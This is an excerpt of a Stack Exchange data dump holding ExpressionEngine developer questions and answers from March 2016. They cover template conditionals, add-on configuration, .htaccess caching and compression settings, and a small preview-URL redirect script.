  <row Id="35741" PostTypeId="2" ParentId="35740" CreationDate="2016-03-01T19:13:19.597" Score="0" Body="&lt;p&gt;The issue here is that the &lt;a href=&quot;https://solspace.com/legacy_docs/calendar-1/events/#if_event_multi_day&quot; rel=&quot;nofollow&quot;&gt;{if event_multi_day}{/if} conditional&lt;/a&gt; is only available within the &lt;a href=&quot;https://solspace.com/legacy_docs/calendar-1/cal/#events&quot; rel=&quot;nofollow&quot;&gt;{events}{/events} variable pair&lt;/a&gt;. Color-coding events is easy this way, but color-coding days based on event data is not really possible.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2016-03-01T19:13:19.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35742" PostTypeId="1" CreationDate="2016-03-01T20:31:14.283" Score="0" ViewCount="71" Body="&lt;p&gt;I currently have the core file &lt;code&gt;Session.php&lt;/code&gt; modified a little to keep track of login/logout information and &lt;code&gt;member_id&lt;/code&gt;s - &lt;code&gt;create_new_session()&lt;/code&gt; for login, &lt;code&gt;destroy()&lt;/code&gt; for logout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize that this can be better achieved with an extension using hooks - &lt;code&gt;member_member_login_single&lt;/code&gt; after login, &lt;code&gt;member_member_logout&lt;/code&gt; after logout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue, though, is with the logout hook the system doesn't pass along any data (&lt;a href=&quot;https://docs.expressionengine.com/v2/development/extension_hooks/module/member_auth/index.html&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;), so there's no way for us to know the &lt;code&gt;member_id&lt;/code&gt; of the user who just logged out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to accomplish this at all aside from modifying core files?  I already have a hacky solution (editing core files), so I'm looking for the &quot;right&quot; way to do this.&lt;/p&gt;&#xA;" OwnerUserId="6863" LastActivityDate="2016-03-02T15:55:09.330" Title="Is there a way to get the member_id of a user that was just logged out?" Tags="|ee2|add-on-development|hook|session-end-hook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35743" PostTypeId="2" ParentId="35739" CreationDate="2016-03-01T21:00:47.263" Score="1" Body="&lt;p&gt;Not that I'm an expert, but what I've implemented in the past has been in .htaccess, not defining privacy settings in EE, until now I've not given it much thought... &lt;a href=&quot;https://serverfault.com/questions/553959/serving-static-file-from-cookieless-domain-alternative-cookieless-directory&quot;&gt;This answer&lt;/a&gt; gives some light - what you've done is set it so cookies aren't sent back from that domain for the content generated by EE, but they will still be sent in the request, therefore failing the performance tests. Also remember that EE doesn't have any involvement in the static content - that's the server - the admin settings are only for content generated by EE - so if you had your CSS and JS files as templates, then this would be served by EE, otherwise if they're external files they're delivered directly from the server, not EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't have to have a separate domain to be able to deliver cookie-less content, the subdomain just assists in multiple domain calls (so multi-threaded requests). I read elsewhere that Google advises that it's only worth doing if you have more that 5 items - assuming images are delivered via the static, then it'll be worth it. As an example, if all your CSS is in one minified file and all your JS is in another, and the images were via a CDN, then there would be little point.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Opening http connections costs time, and it is not always the case&#xA;  that opening more connections is efficient. Reducing the number of&#xA;  resources is much more effective than just piling up lots of open HTTP&#xA;  connections.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://xparkmedia.com/blog/set-cookieless-domain/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This article&lt;/a&gt; gives a good description of specifying the .htaccess to remove cookie from the relevant file requests - note this is irrelevant of domain and is fairly self explanatory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;FilesMatch &quot;\.(js|css|jpg|png|jpeg|gif|xml|json|txt|pdf|mov|avi|otf|woff|ico|swf)$&quot;&amp;gt;&#xA;    RequestHeader unset Cookie&#xA;    Header unset Cookie&#xA;    Header unset Set-Cookie&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second code from that article refers to unset eTag:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Entity tags (ETags) are a mechanism to check for a newer version of a&#xA;  cached file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.askapache.com/htaccess/apache-speed-etags.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ref.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;unset pragma&lt;/code&gt; - I can't find a numpty guide by Googling, but all references go hand in hand with reducing the header and caching information, although I have read that this line doesn't explicitly state &quot;don't cache the content&quot;, and elsewhere I've read some browsers may still assume. So might need &lt;code&gt;Header set Pragma &quot;no-cache&quot;&lt;/code&gt; instead of their suggested &lt;code&gt;Header unset Pragma&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This chunk I add to my .htaccess to set the browser caching time of certain files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_expires.c&amp;gt;&#xA; ExpiresActive On&#xA; &amp;lt;FilesMatch &quot;\.(ico|jpg|jpeg|png|gif)$&quot;&amp;gt;&#xA;  ExpiresDefault &quot;access plus 2 weeks&quot;&#xA; &amp;lt;/FilesMatch&amp;gt;&#xA; &amp;lt;FilesMatch &quot;\.(js|css|swf)$&quot;&amp;gt;&#xA;  ExpiresDefault &quot;access plus 2 days&quot;&#xA; &amp;lt;/FilesMatch&amp;gt;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if you want to compress certain files sent from the server (still in the .htaccess file):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_deflate.c&amp;gt;&#xA;# Insert filter&#xA;  SetOutputFilter DEFLATE&#xA;# Netscape 4.x has some problems...&#xA;  BrowserMatch ^Mozilla/4 gzip-only-text/html&#xA;&#xA;# Netscape 4.06-4.08 have some more problems&#xA;  BrowserMatch ^Mozilla/4\.0[678] no-gzip&#xA;&#xA;# MSIE masquerades as Netscape, but it is fine&#xA;# BrowserMatch \bMSIE !no-gzip !gzip-only-text/html&#xA;&#xA;# NOTE: Due to a bug in mod_setenvif up to Apache 2.0.48&#xA;# the above regex won't work. You can use the following&#xA;# workaround to get the desired effect:&#xA;  BrowserMatch \bMSI[E] !no-gzip !gzip-only-text/html&#xA;&#xA;# Don't compress images&#xA;  SetEnvIfNoCase Request_URI \\.(?:gif|jpe?g|png)$ no-gzip dont-vary&#xA;&#xA;# Make sure proxies don't deliver the wrong content&#xA;  Header append Vary User-Agent env=!dont-vary&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the compression settings in EE are only relevant to the pages served by EE - templates. &lt;strong&gt;Not&lt;/strong&gt; the external static/resource files.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-04-13T12:14:55.020" LastActivityDate="2016-03-01T21:00:47.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35744" PostTypeId="1" AcceptedAnswerId="35755" CreationDate="2016-03-01T21:39:28.150" Score="0" ViewCount="48" Body="&lt;p&gt;I'm really very new with expression engine, so bear with me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an exp:playa:parents call, and I need to set the category conditionally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            {exp:playa:parents&#xA;                    {if segment_4 == &quot;new_arrivals&quot;}&#xA;                        {if segment_3 == &quot;furniture&quot;}&#xA;                            category=&quot;57&quot;&#xA;                        {/if}&#xA;                        {if segment_3 == &quot;lighting&quot;}&#xA;                            category=&quot;59&quot;&#xA;                        {/if}&#xA;                        {if segment_3 == &quot;accents&quot;}&#xA;                        category=&quot;58&quot;&#xA;                        {/if}&#xA;                    {if:else}&#xA;                        category=&quot;{segment_4_category_id}&quot;&#xA;                    {/if}&#xA;                    channel=&quot;products&quot;&#xA;                    disable=&quot;categories|member_data&quot;&#xA;                    dynamic=&quot;no&quot;&#xA;                    limit=&quot;24&quot;&#xA;                    paginate=&quot;bottom&quot;&#xA;                    {if rev_segment_1 == &quot;all&quot;}limit=&quot;500&quot;{/if}&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a programmer, the if/else logic seems... logical, but that doesn't seem to help the fact that the category doesn't seem to get set properly at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a subtlety to conditional statements in EE that I am clearly not understanding?  Am I approaching this the wrong way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be so appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;the url that's failing: &lt;a href=&quot;http://localhost/arcade/by/accents/new_arrivals&quot; rel=&quot;nofollow&quot;&gt;http://localhost/arcade/by/accents/new_arrivals&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this page gets called in two places, and either that page output doesn't work (like it does with that else block in there) or the category doesn't get set properly here: &lt;a href=&quot;http://localhost/damien_langlois_meurinne_for_pouenat/by/furniture/seating&quot; rel=&quot;nofollow&quot;&gt;http://localhost/damien_langlois_meurinne_for_pouenat/by/furniture/seating&lt;/a&gt; and it displays all the category types (not just seating) [this happens after removing the else block].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked with the html comment method you mentioned, and all the data seems to be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I turn on the profiling output, I get this as well for the playa call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; (0.122617 / 14.88MB) Tag: {exp:playa:parents entry_id=&quot;8380&quot; {if segment_4 == &quot;new_arrivals&quot;} category=&quot;58&quot; {if:else} category=&quot;57&quot; {/if} channel=&quot;products&quot; disable=&quot;categories|member_data&quot; dynamic=&quot;no&quot; limit=&quot;24&quot; paginate=&quot;bottom&quot; var_prefix=&quot;playavTWmYmQm&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7163" LastEditorUserId="7163" LastEditDate="2016-03-02T00:25:47.410" LastActivityDate="2016-03-02T11:12:44.617" Title="Expression Engine conditional statements not behaving as expected" Tags="|playa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35745" PostTypeId="2" ParentId="35744" CreationDate="2016-03-01T22:13:57.920" Score="0" Body="&lt;p&gt;There doesn’t appear to be anything wrong with the logic, though you could be more concise using the {if:elseif} construct perhaps.  Perhaps if you post the URL that is failing, and what you get from the logic statement for that URL, it might be easier to work out what is going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might have thought of this already - but if not, sometimes it helps to simply dump out the variables as a comment in the HTML so you can see what actually is being used in the logic… so something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!—- Segment 1: {segment_1} / Segment 2: {segment_2} … —&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6060" LastActivityDate="2016-03-01T22:13:57.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35746" PostTypeId="2" ParentId="35663" CreationDate="2016-03-01T23:53:14.093" Score="0" Body="&lt;p&gt;It turns out that &lt;code&gt;/system/expressionengine/libraries/Sites.php&lt;/code&gt; is unique to each MSM installation and needs to be downloaded from your account for the licence # it's associated with. You can't just copy a previously downloaded version of MSM over.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2016-03-01T23:53:14.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35747" PostTypeId="1" CreationDate="2016-03-02T00:17:04.980" Score="0" ViewCount="118" Body="&lt;p&gt;I almost have what I am after working completely thanks to the answer from @bjørn-børresen on this previous &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/35728/check-for-channel-entry-seo-data-or-use-template-code-instead-of-defaults&quot;&gt;question&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have the description and images working the way I need, but I cannot get the title replacement to operate like I am needing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the documentation, I entered the config options as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; *&#xA; * Pull additional info for SEO Lite&#xA; *&#xA; * channel_id =&amp;gt; array(field_id =&amp;gt; tag_name)&#xA; **/&#xA;$config['seolite_extra'] = array(&#xA;    '13' =&amp;gt; array(                               // mission&#xA;        'headline' =&amp;gt; array(&#xA;            'field_id' =&amp;gt; 38,                    // {intro_title}&#xA;            'field_type' =&amp;gt; 'text',&#xA;        ),&#xA;        'desc' =&amp;gt; array(&#xA;            'field_id' =&amp;gt; 37,                    // {brief_intro}&#xA;            'field_type' =&amp;gt; 'editor',&#xA;        ),&#xA;        'image' =&amp;gt; array(&#xA;            'field_id' =&amp;gt; 36,                    // {page_header}&#xA;            'field_type' =&amp;gt; 'file',&#xA;        )&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So inside my SEO template, (simplified here of course), I have the variable &lt;code&gt;{extra:headline}&lt;/code&gt;in my template, but it doesn't seem to be reading. I am including the &lt;code&gt;switchee&lt;/code&gt; logic to check for a default text string inside the default value entered and using the &lt;code&gt;chopper&lt;/code&gt; plugin to trim the characters and strip html. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;{extra:headline} | {site_name}&amp;lt;/title&amp;gt;&#xA;&amp;lt;meta name=&quot;keywords&quot; content=&quot;{meta_keywords}&quot; /&amp;gt;&#xA;{exp:switchee variable=&quot;{meta_description}&quot; parse=&quot;inward&quot; }&#xA;    {case value=&quot;/\\\\My default string/&quot;}&#xA;        &amp;lt;meta name=&quot;description&quot; content=&quot;{exp:chopper chars='157' append='...'}{extra:desc}{/exp:chopper}&quot;/&amp;gt;&#xA;        &amp;lt;meta property=&quot;og:description&quot; content=&quot;{exp:chopper chars='157' append='...'}{extra:desc}{/exp:chopper}&quot;/&amp;gt;&#xA;    {/case}&#xA;    {case default=&quot;Yes&quot;)&#xA;        &amp;lt;meta name=&quot;description&quot; content=&quot;{exp:chopper chars='157' append='...'}{meta_description}{/exp:chopper}&quot; /&amp;gt;&#xA;        &amp;lt;meta property=&quot;og:description&quot; content=&quot;{exp:chopper chars='157' append='...'}{meta_description}{/exp:chopper}&quot;/&amp;gt;&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only issue I am having is getting the &lt;code&gt;{extra:headline}&lt;/code&gt; to output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 3.1.4, Stash 3.0.0, SEO Lite 1.5.1&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2016-06-12T18:33:18.283" Title="Further extending the SEO Lite through the advanced config options" Tags="|ee3|seo|seo-lite|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35748" PostTypeId="1" AcceptedAnswerId="35976" CreationDate="2016-03-02T02:27:27.953" Score="0" ViewCount="219" Body="&lt;p&gt;With Mandrill's new change of policies and pricing I'm moving away from using it for my transactional emails and am Switching to SendGrid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the Postmaster add-on to trigger various emails as well as to send my EE system emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switching the email service seems fairly straightforward, all I have to do is update each parcel and hook to use a new email service. I'm then required to enter my SendGrid username and password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it doesn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every email I try to send now get's this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SendGrid Service - Error: The requested URL returned error: 400&#xA;  Consult with SendGrid’s documentation for more information regarding&#xA;  this error.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Unfortunately their documentation doesn't mention Error 400.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Does anyone have experience with Postmaster using SendGrid as the email service? What do I need to do to get this working?!&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2016-03-28T10:06:47.283" Title="Postmaster - Switching from Mandrill to SendGrid" Tags="|email|postmaster|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35750" PostTypeId="2" ParentId="35747" CreationDate="2016-03-02T08:05:42.807" Score="0" Body="&lt;p&gt;As far as I can tell &lt;code&gt;{extra:headline}&lt;/code&gt; should output fine, I would check:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;That the channel_id is correct. If you have multiple channels you would need to add this config for each channel (specifying which fields to pull data from for each channel)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;That the field_id's are correct. Note; SEO Lite for EE3 only supports type 'text' or 'file'. So even if you're pulling from an 'editor' field you'll have to specify 'text' (as the type of content pulled from exp_channel_data is text).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And lastly, &lt;a href=&quot;https://github.com/bjornbjorn/SEO-Lite/blob/master/system/user/addons/seo_lite/mod.seo_lite.php#L191&quot; rel=&quot;nofollow&quot;&gt;inspecting the code&lt;/a&gt; I see it supports &quot;max_length&quot; which is not specified in the docs, I'll fix that. But that means you should probably not need to use chopper (and switchee?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this in your config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'desc' =&amp;gt; array(&#xA;        'field_id' =&amp;gt; 37,                    // {brief_intro}&#xA;        'field_type' =&amp;gt; 'text',&#xA;        'max_length' =&amp;gt; 157,&#xA;    ),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I realise that &lt;code&gt;{extra:headline}&lt;/code&gt; was the main issue here, but again, I don't see why that shouldn't be output so please doublecheck the database id's you've used. (what is output for it btw, the actual tag ({extra:headline}) or just empty?)&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2016-03-02T08:05:42.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35752" PostTypeId="2" ParentId="35101" CreationDate="2016-03-02T09:34:15.880" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/zeal-smart-export&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/zeal-smart-export&lt;/a&gt;&#xA;is the best option to export data from channel without do any code or sql query.&lt;/p&gt;&#xA;" OwnerUserId="7087" LastActivityDate="2016-03-02T09:34:15.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35753" PostTypeId="1" CreationDate="2016-03-02T10:13:25.247" Score="0" ViewCount="55" Body="&lt;p&gt;Zenbu offers the option to add a Live Look link to it's entries overview. But our client was complaining, this doesn't work for draft entries (using Publisher). Adding the &lt;code&gt;{exp:publisher:toolbar}&lt;/code&gt; to the template is also not an option for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be able to view the entry as draft, you need to add &lt;code&gt;?publisher_status=draft&lt;/code&gt; to the preview template url. But there's no way to do that &lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2016-04-06T21:48:09.163" Title="Zenbu live look link and Publisher drafts" Tags="|ee2|publisher|zenbu|livelook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35754" PostTypeId="2" ParentId="35753" CreationDate="2016-03-02T10:13:25.247" Score="0" Body="&lt;p&gt;&lt;strong&gt;Option 1: Add javascript to preview template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this script to the preview template you want to use for previewing Prublisher draft entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    var url = window.location.href;&#xA;    if (url.indexOf('publisher_status') == -1){&#xA;        if (url.indexOf('?') &amp;gt; -1){&#xA;            url += '&amp;amp;publisher_status=draft'&#xA;        }else{&#xA;            url += '?publisher_status=draft'&#xA;        }&#xA;        window.location.href = url;&#xA;    }&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only when no publisher status is present in the querystring, it will be added and the page will be refreshed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 2: Change the Fancybox code in Zenbu&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for the &lt;code&gt;zenbu_index.js&lt;/code&gt; file in &lt;code&gt;/third_party/zenbu/javascript&lt;/code&gt; and look for &lt;code&gt;Fancybox for Live Look&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(this).fancybox({&#xA;    'overlayShow'       : true,&#xA;    'centerOnScroll'    : true,&#xA;    'type'              : 'iframe',&#xA;    'width'             : '90%',&#xA;    'height'            : '90%',&#xA;    'autoScale'         : true,&#xA;    'titlePosition'     : 'inside'&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var FancyBoxHref = $(this).attr(&quot;href&quot;)+&quot;?publisher_status=draft&quot;;&#xA;&#xA;$(this).fancybox({&#xA;    'href'              : FancyBoxHref,&#xA;    'overlayShow'       : true,&#xA;    'centerOnScroll'    : true,&#xA;    'type'              : 'iframe',&#xA;    'width'             : '90%',&#xA;    'height'            : '90%',&#xA;    'autoScale'         : true,&#xA;    'titlePosition'     : 'inside'&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This involves editing code from the Zenbu module. So keep in mind that updating the module will also undo those changes. And it will add the querystring to all live look url.&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2016-03-02T10:13:25.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35755" PostTypeId="2" ParentId="35744" CreationDate="2016-03-02T11:12:44.617" Score="0" Body="&lt;p&gt;I wouldn't expect the conditionals to work inside a module call. I'd likely deal with the conditionals prior and come up with one variable and use that in the module call. You will have to use Stash from @croxton as it's handy in these situations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not tested, just a thought:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- We're inside an exp:channel call I expect --}&#xA;{exp:stash:set parse_conditionals=&quot;yes&quot; trim=&quot;yes&quot;}&#xA;&amp;lt;!-- Capture one stash to one variable --&amp;gt;&#xA;{stash:catID}&#xA;{if segment_4 == &quot;new_arrivals&quot;}&#xA;  {if segment_3 == &quot;furniture&quot;}57{/if}&#xA;  {if segment_3 == &quot;lighting&quot;}59{/if}&#xA;  {if segment_3 == &quot;accents&quot;}58{/if}&#xA;{if:else}{segment_4_category_id}{/if}&#xA;{/stash:catID}&#xA;&amp;lt;!-- Capture either 500 or 100 as the limit --&amp;gt;&#xA;{stash:limit}&#xA;  {if rev_segment_1 == &quot;all&quot;}&quot;500&quot;{if:else}&quot;100&quot;{/if}&#xA;{/stash:limit}&#xA;{/exp:stash:set}&#xA;&#xA;&amp;lt;!-- May need to wrap this is in a parse tag to ensure the dreaded EE parse order rears its head --&amp;gt;&#xA;{exp:stash:parse}&#xA;  {exp:playa:parents&#xA;  category=&quot;{exp:stash:catID}&quot;&#xA;  channel=&quot;products&quot;&#xA;  disable=&quot;categories|member_data&quot;&#xA;  dynamic=&quot;no&quot;&#xA;  limit=&quot;24&quot;&#xA;  paginate=&quot;bottom&quot;&#xA;  limit={exp:stash:limit}&#xA;  parse=&quot;inward&quot;&#xA;}&#xA;...&#xA;  {/exp:playa:parents}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is very crude but you can see the logic, capture your variables, set them and call them into the playa tag. There are a multitude of ways this can work and will require a bit of experimentation but the logic should be sound enough.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2016-03-02T11:12:44.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35756" PostTypeId="1" CreationDate="2016-03-02T11:33:50.207" Score="0" ViewCount="39" Body="&lt;p&gt;I need the like functionality on channel entry with counter.&#xA;Please advise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6579" LastActivityDate="2016-05-18T00:05:43.157" Title="How to add like functionality on channel entry" Tags="|channel-entries|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35757" PostTypeId="2" ParentId="35742" CreationDate="2016-03-02T15:55:09.330" Score="1" Body="&lt;p&gt;Although the hook doesn't provide any information you can use, you could do a query on the exp_members table where ip_address is equal to the users ip, and sort the results by last_activity descending. Logging out should record the timestamp into the last_activity field and the ip address is updated every time a member logs in. As a result, this should then allow you to get the relevant data for that member to use in your tracking. But yes, definitely use hooks instead of hacking core files :)&lt;/p&gt;&#xA;" OwnerUserId="3371" LastActivityDate="2016-03-02T15:55:09.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35759" PostTypeId="2" ParentId="35756" CreationDate="2016-03-02T17:18:13.973" Score="0" Body="&lt;p&gt;I would stay away from secondary plugins and modules because you never know when the author will stop supporting or updating them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to get into visitor interaction, I recommend Solspace's Freeform module. It's a bit complex, but it can be used for polls, surveys, voting and other needs.&lt;/p&gt;&#xA;" OwnerUserId="2564" LastActivityDate="2016-03-02T17:18:13.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35760" PostTypeId="2" ParentId="35101" CreationDate="2016-03-02T17:22:37.980" Score="0" Body="&lt;p&gt;I second the use of EE tags and templates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't have to worry about third-party module updates and support. You also can use the same method for exporting other content with any number of different tags attached including HTML, XML, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have even used that method to export content with Quark, InDesign and other publishing tags.&lt;/p&gt;&#xA;" OwnerUserId="2564" LastActivityDate="2016-03-02T17:22:37.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35761" PostTypeId="1" CreationDate="2016-03-02T22:08:26.363" Score="0" ViewCount="66" Body="&lt;p&gt;Is it possible to add a note to an order AFTER it is completed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like the user to add a note AND add data to a hidden field that is added to an order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This really needs to be done after the order is paid for.&lt;/p&gt;&#xA;" OwnerUserId="886" LastActivityDate="2016-05-18T13:17:23.670" Title="Expresso store - adding note after order" Tags="|expresso-store|custom-fields|orders|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35764" PostTypeId="1" CreationDate="2016-03-03T08:44:03.147" Score="0" ViewCount="79" Body="&lt;p&gt;I am trying to get the max results for the categories inside this channel entry. If the current category is the last one in the loop I don't want to add a , after the output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   {exp:channel:entries channel=&quot;ch_efn_gallery&quot; entry_id=&quot;295&quot;}&#xA;    {categories}&#xA;            {&quot;{category_id}&quot;:&quot;{category_name}&quot;}&#xA;           {if categories:count!=categories:total_results},{/if}&#xA;    {/categories}&#xA;   {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;categories:count&lt;/em&gt; gives me the correct number. But &lt;em&gt;categories:total_results&lt;/em&gt; doesn't work. And i din't find out how to get the max value for categories. Actually this template has much more output but i shortened it to the core of my problem.&lt;/p&gt;&#xA;" OwnerUserId="7165" LastActivityDate="2016-06-06T22:59:23.680" Title="How to get max count for a loop in channel entries tag" Tags="|categories|entries|loop|count|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35765" PostTypeId="2" ParentId="35764" CreationDate="2016-03-03T09:15:13.720" Score="0" Body="&lt;p&gt;You could try and simply use the &lt;a href=&quot;https://docs.expressionengine.com/latest/channel/categories.html#backspace&quot; rel=&quot;nofollow&quot;&gt;backspace tag&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming it's that straight forward. I've never really liked the EE categories tag, I lean towards &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories/documentation&quot; rel=&quot;nofollow&quot;&gt;GW Categories&lt;/a&gt;. You can then disable categories in your main loop to save some overhead.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2016-03-03T09:15:13.720" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
